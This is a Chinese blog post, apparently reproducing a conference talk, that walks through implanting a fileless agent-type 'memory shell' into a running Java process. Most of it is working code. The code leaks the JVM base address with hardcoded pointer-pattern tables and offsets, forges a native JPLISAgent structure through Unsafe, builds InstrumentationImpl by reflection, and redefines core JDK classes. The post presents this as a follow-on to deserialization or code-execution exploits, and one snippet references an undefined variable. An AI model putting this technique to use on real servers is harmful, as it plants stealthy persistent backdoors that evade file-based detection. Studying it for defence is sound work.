无文件落地Agent型内存马植入

可行性分析

使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent

Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com)

  1. 首先,我们先看一下通过Agent动态修改类的流程:

  1. 1.在客户端和目标JVM建立IPC连接以后,客户端会封装一个用来加载agent.jarAttachOperation对象,这个对象里面有三个关键数据:actioNamelibNameagentPath
  2. 2.服务端收到AttachOperation后,调用enqueue压入AttachOperation队列等待处理;
  3. 3.服务端处理线程调用dequeue方法取出AttachOperation
  4. 4.服务端解析AttachOperation,提取步骤1中提到的3个参数,调用actionNameload的对应处理分支,然后加载libinstrument.so(在windows平台为instrument.dll),执行AttachOperationOn_Attach函数(由此可以看到,Java层的instrument机制,底层都是通过Native层的Instrument来封装的);
  5. 5.libinstrument.so中的On_Attach会解析agentPath中指定的jar文件,该jar中调用了redefineClass的功能;
  6. 6.执行流转到Java层,JVM会实例化一个InstrumentationImpl类,这个类在构造的时候,有个非常重要的参数mNativeAgent

  1. 这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent7.InstrumentationImpl实例化之后,再继续调用InstrumentationImpl类的redefineClasses方法,做稍许校验之后继续调用InstrumentationImplNative方法redefineClasses0
  2. 8.执行流继续走入Native层:

以上是议题中的原文。个人解释一下自己的理解

我们在server端的agentmain处下断点,可以发现server端的调用栈是从InstrumentationImpl类开始的,这就是原文中的第六步,而之前几步都是client 或者native层的操作。因此在java层,我们可以直接从InstrumentationImpl类入手构造恶意代码。

这样就要先构造InstrumentationImpl类,看一下构造函数,结合之前debug生成的信息,发现var3=true,var4=false,需要构造的只要var1,即mNativeAgent,这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。说明我们需要在native层构造合适的C++对象JPLISAgent。

  1. private InstrumentationImpl(long var1, boolean var3, boolean var4) {
  2. this.mNativeAgent = var1;//这个参数
  3. this.mEnvironmentSupportsRedefineClasses = var3;
  4. this.mEnvironmentSupportsRetransformClassesKnown = false;
  5. this.mEnvironmentSupportsRetransformClasses = false;
  6. this.mEnvironmentSupportsNativeMethodPrefix = var4;
  7. }

组建JPLISAgent

native内存操作

(32条消息) java native内存_JVM Heap Memory和Native Memory_海阔山高人为峰的博客-CSDN博客

https://xz.aliyun.com/t/10186#toc-1

我们要在native层创建对象,就必然要操作native内存,即堆外内存。可以使用directByteBuffer,看一下directByteBuffer的实现,其主要是对unsafe进行了一个封装,主要内存操作还是调用unsafe。因此使用unsafe也可以实现内存分配。

  1. DirectByteBuffer(int cap) { // package-private
  2. super(-1, 0, cap, cap);
  3. boolean pa = VM.isDirectMemoryPageAligned(); //是否页对齐
  4. int ps = Bits.pageSize(); //获取pageSize大小
  5. long size = Math.max(1L, (long) cap + (pa ? ps : 0)); //如果是页对齐的话,那么就加上一页的大小
  6. Bits.reserveMemory(size, cap); //对分配的直接内存做一个记录
  7. long base = 0;
  8. try {
  9. base = unsafe.allocateMemory(size); //实际分配内存
  10. } catch (OutOfMemoryError x) {
  11. Bits.unreserveMemory(size, cap);
  12. throw x;
  13. }
  14. unsafe.setMemory(base, size, (byte) 0); //初始化内存
  15. //计算地址
  16. if (pa && (base % ps != 0)) {
  17. // Round up to page boundary
  18. address = base + ps - (base & (ps - 1));
  19. } else {
  20. address = base;
  21. }
  22. //生成Cleaner
  23. cleaner = Cleaner.create(this, new Deallocator(base, size, cap));
  24. att = null;
  25. }
  1. Unsafe unsafe = null;
  2. try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null);} catch (Exception e) { throw new AssertionError(e);}

分析JPLISAgent结构

  1. struct _JPLISAgent {
  2. JavaVM * mJVM; /* handle to the JVM */
  3. JPLISEnvironment mNormalEnvironment; /* for every thing but retransform stuff */
  4. JPLISEnvironment mRetransformEnvironment;/* for retransform stuff only */
  5. jobject mInstrumentationImpl; /* handle to the Instrumentation instance */
  6. jmethodID mPremainCaller; /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */
  7. jmethodID mAgentmainCaller; /* method on the InstrumentationImpl for agents loaded via attach mechanism */
  8. jmethodID mTransform; /* method on the InstrumentationImpl that does the class file transform */
  9. jboolean mRedefineAvailable; /* cached answer to "does this agent support redefine" */
  10. jboolean mRedefineAdded; /* indicates if can_redefine_classes capability has been added */
  11. jboolean mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */
  12. jboolean mNativeMethodPrefixAdded; /* indicates if can_set_native_method_prefix capability has been added */
  13. char const * mAgentClassName; /* agent class name */
  14. char const * mOptionsString; /* -javaagent options string */
  15. };

JPLISAgent结构复杂,所以我们从后面的redefineclass入手,看一下哪些参数需要。

  1. void
  2. redefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) {
  3. jvmtiEnv* jvmtienv = jvmti(agent);
  4. jboolean errorOccurred = JNI_FALSE;
  5. jclass classDefClass = NULL;
  6. jmethodID getDefinitionClassMethodID = NULL;
  7. jmethodID getDefinitionClassFileMethodID = NULL;
  8. jvmtiClassDefinition* classDefs = NULL;
  9. jbyteArray* targetFiles = NULL;
  10. jsize numDefs = 0;
  11. ...

这里根据用法可以看出jvmti是一个宏或函数,搜索一下可以发现这是个宏

可以确定redefineclass需要mNormalEnvironment参数。

来看一下这个参数的结构。

  1. struct _JPLISEnvironment {
  2. jvmtiEnv * mJVMTIEnv; /* the JVM TI environment */
  3. JPLISAgent * mAgent; /* corresponding agent */
  4. jboolean mIsRetransformer; /* indicates if special environment */
  5. };

可以看到这个结构里存在一个回环指针mAgent,又指向了JPLISAgent对象,另外,还有个最重要的指针mJVMTIEnv,这个指针是指向内存中的JVMTIEnv对象的,这是JVMTI机制的核心对象。另外,经过分析,JPLISAgent对象中还有个mRedefineAvailable成员,必须要设置成true。

定位JVMTIEnv

这里rebeyond师傅用的是动态调试方法。本人不太会,主要是不知道是如何定位JPLISAgent地址的。

因此参考https://xz.aliyun.com/t/10186#toc-3中的技术

思路整理:游望之师傅的文章https://xz.aliyun.com/t/10186#toc-3

通过

  1. JNI_GetCreatedJavaVMs(&vm, 1, &count);

获取vm对象,然后

  1. vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);

获取_jvmti_env。

以上代码都是java原生libjava.so中的方法。通过elf导出符号定位想要将之替换的导出函数,进行内存修改即可完成native层的调用。

个人的windows实现思路(未实现)

配合之前的进程注入执行任意native代码,GetModuleHandle获取jvm.dll的地址,然后因为rebeyond师傅测试出JVMTIEnv对象存在于jvm模块的地址空间中,而且偏移量是固定的,那么我们尝试另外编写一个JNI程序,然后调用

  1. vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);

获取_jvmti_env地址与jvm.dll的地址对比即可得到偏移量。

jni程序c代码

  1. #include "pch.h"
  2. #include "getAgent.h"
  3. #include"getJPSAgent.h"
  4. #include "jvmti.h"
  5. JNIEXPORT void JNICALL Java_getJPSAgent_caloffset
  6. (JNIEnv*, jobject) {
  7. struct JavaVM_* vm;
  8. jsize count;
  9. typedef jint(JNICALL* GetCreatedJavaVMs)(JavaVM**, jsize, jsize*);
  10. //本来想直接调用GetCreatedJavaVMs函数但是缺少特定头文件,因此只能typedef定义另一个结构相同的函数
  11. GetCreatedJavaVMs jni_GetCreatedJavaVMs;
  12. // ...
  13. jni_GetCreatedJavaVMs = (GetCreatedJavaVMs)GetProcAddress(GetModuleHandle(
  14. TEXT("jvm.dll")), "JNI_GetCreatedJavaVMs");
  15. //由于jvm.dll在java程序开始时就已经加载,因此可以直接获取dll中JNI_GetCreatedJavaVMs的地址
  16. jni_GetCreatedJavaVMs(&vm, 1, &count);//获取jvm对象的地址
  17. struct jvmtiEnv_* _jvmti_env;
  18. HMODULE jvm = GetModuleHandle(L"jvm.dll");//获取jvm基址
  19. vm->functions->GetEnv(vm, (void**)&_jvmti_env, JVMTI_VERSION_1_2);//获取_jvmti_env的地址,即即指向JVMTIEnv指针的指针。
  20. printf(" hModule jvm = 0x%llx\n", jvm);
  21. printf(" struct JavaVM_* vm = 0x%llx\n", vm);
  22. printf(" _jvmti_env = 0x%llx\n", _jvmti_env);
  23. ;
  24. }

再用x64dbg attach进程查看_jvmti_env的内容,绿线标出的就是JVMTIEnv的地址

多次计算可以发现此java版本的jvmti_env对jvm.dll基址的偏移量固定,为0x9D6760。

此时,需要解决jvm基址的问题,由于aslr的原因,jvm基址不固定。这里有两种方法,一种为rebeyond师傅介绍的技术信息泄露获取JVM基址,另一种尝试配合之前的进程注入执行任意native代码,GetModuleHandle获取jvm.dll的地址。(没试过)

信息泄露获取JVM基址

这里rebeyond师傅的思路应该是 先使用unsafe来allocate一块很小的内存,并且打印出它的地址。这样在进行动态调试时就可以直接定位到这块内存。而在这块内存空间周围有一些可疑的指针,查看一下正好有直接指向jvm.dll基址的指针。

编写如下代码:

  1. long allocateMemory = unsafe.allocateMemory(3);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));

输出如下:

定位到地址0x20F03026430:

可见前后有很多指针,绿色的那些指针,都指向jvm的地址空间内:

由于这些指针不是固定的,每次调试都会有不同的结果,但是是伪随机,有一定的规律。因此rebeyond师傅使用了统计学的方法,编写程序反复收集对应的数据,将指针地址后两位,指针指向的内容的后两位,以及该指针与jvm.dll基址的偏移量,收集成表。再后续判断基址时,通过前两项判断指针是否有效,通过偏移量来确定jvm.dll的基址。

  1. String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'";
  2. //patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'";//for windows_java8_301_x64
  3. // patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64
  4. long jvmtiOffset=0x79a220; //for java_8_271_x64 相对基址固定
  5. // jvmtiOffset=0x78a280; //for windows_java_8_301_x64
  6. // jvmtiOffset=0xf9c520; //for linux_java_8_301_x64
  7. List<Map<String, String>> patternList = new ArrayList<Map<String, String>>();
  8. for (String pair : patterns.split(",")) {
  9. String offset = pair.split(":")[0].replace("'", "").trim();
  10. String value = pair.split(":")[1].replace("'", "").trim();
  11. String delta = pair.split(":")[2].replace("'", "").trim();
  12. Map pattern = new HashMap<String, String>();
  13. pattern.put("offset", offset);
  14. pattern.put("value", value);
  15. pattern.put("delta", delta);
  16. patternList.add(pattern); }
  17. //构建不同版本jdk对应的offset,value,delta
  18. int offset = 8;
  19. int targetHexLength=8; //on linux,change it to 12.
  20. for (int j = 0; j < 0x2000; j++) //down search
  21. {
  22. for (int x : new int[]{-1, 1}) {
  23. long target = unsafe.getAddress(allocateMemory + j * x * offset);//获取allocateMemory前后的内容
  24. String targetHex = Long.toHexString(target);//将目标地址转换成16进制字符串
  25. if (target % 8 > 0 || targetHex.length() != targetHexLength) {//看目标地址是否是8的倍数,其内容是否是8位
  26. continue; }
  27. if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) {
  28. continue; }
  29. System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j);
  30. for (Map<String, String> patternMap : patternList) {//符合前面条件后,进一步去匹配MapList中的内容
  31. targetHex = Long.toHexString(target);
  32. if (targetHex.endsWith(patternMap.get("offset"))) {//先匹配offset
  33. String targetValueHex = Long.toHexString(unsafe.getAddress(target));
  34. System.out.println("[!]bingo.");
  35. if (targetValueHex.endsWith(patternMap.get("value"))) {//再匹配value
  36. System.out.println("[ok]i found agent env:start get " + Long.toHexString(target) + ",at :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j);
  37. System.out.println("[ok]jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16)));//找到后拿目标地址减去偏移量就是基址
  38. System.out.println("[ok]jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset));//基址加上jvmtiOffset就是jvmti object addr,即mJVMTIEnv
  39. long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30;
  40. long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset;
  41. long agentAddress = getAgent(jvmtiAddress);
  42. System.out.println("agentAddress:" + Long.toHexString(agentAddress));
  43. Bird bird = new Bird();
  44. bird.sayHello();
  45. doAgent(agentAddress);
  46. //doAgent(Long.parseLong(address));
  47. bird.sayHello();
  48. return; }

开始组装

rebeyond师傅的组装代码,这里有些参数不太懂,使用下面反射构造的方法

  1. private static long getAgent(long jvmtiAddress) {
  2. Unsafe unsafe = getUnsafe();
  3. long agentAddr = unsafe.allocateMemory(0x200);
  4. long jvmtiStackAddr = unsafe.allocateMemory(0x200);
  5. unsafe.putLong(jvmtiStackAddr, jvmtiAddress);
  6. unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel);
  7. unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l);
  8. System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168));
  9. unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0);
  10. unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr);
  11. unsafe.putLong(agentAddr + 0x10, agentAddr);
  12. unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l);
  13. //make retransform env
  14. unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr);
  15. unsafe.putLong(agentAddr + 0x28, agentAddr);
  16. unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l);
  17. unsafe.putLong(agentAddr + 0x38, 0);
  18. unsafe.putLong(agentAddr + 0x40, 0);
  19. unsafe.putLong(agentAddr + 0x48, 0);
  20. unsafe.putLong(agentAddr + 0x50, 0);
  21. unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l);
  22. unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68);
  23. unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l); return agentAddr; }

现在的思路:

先使用JNI获取native_jvmtienv

使用反射构造sun.instrument.InstrumentationImpl对象

  1. Unsafe unsafe = null;
  2. try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
  3. field.setAccessible(true);
  4. unsafe = (sun.misc.Unsafe) field.get(null);}
  5. catch (Exception e) {
  6. throw new AssertionError(e);}
  7. long JPLISAgent = unsafe.allocateMemory(0x1000);
  8. unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
  9. unsafe.putByte(native_jvmtienv + 361, (byte) 2);
  10. Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
  11. Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
  12. constructor.setAccessible(true);
  13. Object insn = constructor.newInstance(JPLISAgent, true, false);

然后就可以使用addtransformer方法等。

现在addtransformer方法遇到了问题,抛出异常。主要是这里有一个能否retransform的判断。

这里通过反射更改紫色字段的值可以解决,但是后续在setHasRetransformableTransformers方法处还是会报异常。

因此舍弃通过retransform来更改class的方法。

我们使用redefineClazz来重定义class实现更改。

核心代码

使用javaassist实现类的更改,反射调用redefineClasses来实现class的替换.更改java.io.RandomAccessFile类中getFD方法的代码

  1. public void redefine(Object insn,Class instrument_clazz) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
  2. ClassPool pool = ClassPool.getDefault();
  3. CtClass string_clazz = null;
  4. string_clazz = pool.get("java.io.RandomAccessFile");
  5. CtMethod method_getname = string_clazz.getDeclaredMethod("getFD");
  6. method_getname.insertBefore("System.out.println(\"hi, from java instrucment api\");");
  7. //CtClass ctClass = pool.makeClass(new FileInputStream("D:\\内存马\\java-agent\\java.io.RandomAccessFile.txt\\java\\io\\RandomAccessFile.class"));//获取Ctclass对象
  8. byte[] bytes = ctClass.toBytecode();//取出其字节码
  9. ClassDefinition definition = new ClassDefinition(Class.forName("java.io.RandomAccessFile"), bytes);//将字节码作为参数,重构java.io.RandomAccessFile
  10. Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);//反射调用redefineClass
  11. redefineClazz.invoke(insn, new Object[] {
  12. new ClassDefinition[] {
  13. definition
  14. }
  15. });
  16. }

到这里基本完成了无文件型agent内存马。

最后再来整理一下实现思路。

  • 首先我们要实现无文件型agent内存马,需要先构造sun.instrument.InstrumentationImpl对象
  • 而这个构造函数需要mnativeagent参数,这个参数需要我们定位JVMTIEnv,JVMTIEnv与jvm基址的偏移量固定,因此我们确定jvm基址,这里使用rebeyond师傅的信息泄露获取JVM基址来实现。
  • 获得JVMTIEnv后需要先使用unsafe方法在native层创建JPLISAgent指针,并将JVMTIEnv存放在+8偏移处。
  • 使用反射构造sun.instrument.InstrumentationImpl对象,并调用相关方法
  • 配合javaassist更改需要的类的字节码,调用redefineClasses来实现class的替换。

议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马的更多相关文章

  1. 【原创】Java内存攻击技术漫谈

    前言 Java技术栈漏洞目前业已是web安全领域的主流战场,随着IPS.RASP等防御系统的更新迭代,Java攻防交战阵地已经从磁盘升级到了内存里面. 在今年7月份上海银针安全沙龙上,我分享了< ...

  2. 议题解析与复现--《Java内存攻击技术漫谈》(一)

    解析与复现议题 Java内存攻击技术漫谈 https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw allowAttachSelf绕过 在Java9及以后的版 ...

  3. Java网络爬虫技术《二》Jsoup

    Jsoup 当我们成功抓取到页面数据了之后,还需要对抓取的数据进行解析,而刚好,Jsoup 是一款专门解析 html 页面的技术.Jsoup是一款基于 Java 的HTML 解析器,可直接解析某个 U ...

  4. java执行程序的内存分析系列专栏二之static变量和方法内存分析

    昨天写了简单的聊了下java执行程序时简单的内存划分,今天我们接着往下聊,聊聊static变量和方法的内存分析. 1.static变量和方法的第一个特性内存分析 statiic变量和方法的第一个特性能 ...

  5. Java开发笔记(九十二)文件通道的基本用法

    前面介绍的各色流式IO在功能方面着实强大,处理文件的时候该具备的操作应有尽有,可流式IO在性能方面不尽如人意,它的设计原理使得实际运行效率偏低,为此从Java4开始增加了NIO技术,通过全新的架构体系 ...

  6. SpringMVC 理论与有用技术(二)文件上传

    文件上传相信大家都做过,差点儿全部的项目都有上传文件的功能,尤其是BS架构的项目中经常被列为常规功能来开发.不管是在开发.NET 项目还是java项目我们会用到非常多的框架,这个功能也被集成到了框架之 ...

  7. 【转】图片缓存之内存缓存技术LruCache、软引用 比较

    每当碰到一些大图片的时候,我们如果不对图片进行处理就会报OOM异常,这个问题曾经让我觉得很烦恼,后来终于得到了解决,那么现在就让我和大家一起分享一下吧.这篇博文要讲的图片缓存机制,我接触到的有两钟,一 ...

  8. 带你走进memcache,老牌内存缓存技术

    一.核心优化概述 什么是优化:以更小的资源支持更大负载网站的运行,以小博大. 思路:尽量减少用户等待时间,节省系统资源开销,节省带宽使用. 优化什么地方?有三方面:Memcache内存缓存技术.静态化 ...

  9. 【知识必备】内存泄漏全解析,从此拒绝ANR,让OOM远离你的身边,跟内存泄漏say byebye

    一.写在前面 对于C++来说,内存泄漏就是new出来的对象没有delete,俗称野指针:而对于java来说,就是new出来的Object放在Heap上无法被GC回收:而这里就把我之前的一篇内存泄漏的总 ...

随机推荐

  1. TP5模型开启事务

    和Db开启事务类似,Db是静态方法 $userObj = new UserModel(); $userObj->startTrans(); try { $userObj->data($da ...

  2. python学习笔记(十二)-网络编程

    本文结束使用 Requests 发送网络请求.requests是一个很实用的Python HTTP客户端库,编写爬虫和测试服务器响应数据时经常会用到.可以说,Requests 完全满足如今网络的需求. ...

  3. struts2 使用ajax进行图片上传

    第一步:引入一个插件    jquery.form.js /*! * jQuery Form Plugin * version: 3.36.0-2013.06.16 * @requires jQuer ...

  4. HTML 网页开发、CSS 基础语法——十一. CSS常用样式

    文字三属性 1.颜色color 2.字体font-family ① 常用字体 常用的中文字体: 宋体  SimSum 微软雅黑 Microsoft YaHei 常用的英文字体: 如果不设置字体属性,不 ...

  5. CF204E-Little Elephant and Strings【广义SAM,线段树合并】

    正题 题目链接:https://www.luogu.com.cn/problem/CF204E 题目大意 \(n\)个字符串的一个字符串集合,对于每个字符串求有多少个子串是这个字符串集合中至少\(k\ ...

  6. Spring,AOP实现功能级别权限验证

    1. 首先是问题出现的原因 对于一个我的一个个人博客网站,我希望游客可以浏览我的博客,但是评论功能是需要登录才能使用 这就需要对某个功能进行权限验证 对于过滤器,拦截器,AOP的区别日后再讨论,现在是 ...

  7. 阿里:MySQL数据库规范

    阿里:MySQL数据库规范 简介:基于阿里数据库设计规范扩展而来 设计规范 1.[推荐]字段允许适当冗余,以提高查询性能,但必须考虑数据一致.冗余字段应遵循: 不是频繁修改的字段. 不是 varcha ...

  8. 超简洁,玩转springboot 之springboot自定义start工程

    springboot 的start 建一个父工程 不需要其他目录结构,需要注意的是把type的类型改为POM 这样就没有工程的目录结构 因为父工程不需要 给父工程的pom添加依赖 <depend ...

  9. mysql从零开始之MySQL DELETE 语句

    MySQL DELETE 语句 你可以使用 SQL 的 DELETE FROM 命令来删除 MySQL 数据表中的记录. 你可以在 mysql> 命令提示符或 PHP 脚本中执行该命令. 语法 ...

  10. MySQL8.0.20安装教程图文详解,MySQL8.0.20安装教程winodws10

    MySQL8.0.20安装教程图文详解,非常详细 一:mysql官网下载 https://dev.mysql.com/downloads/file/?id=494993 不用注册,直接下载就好 二:解 ...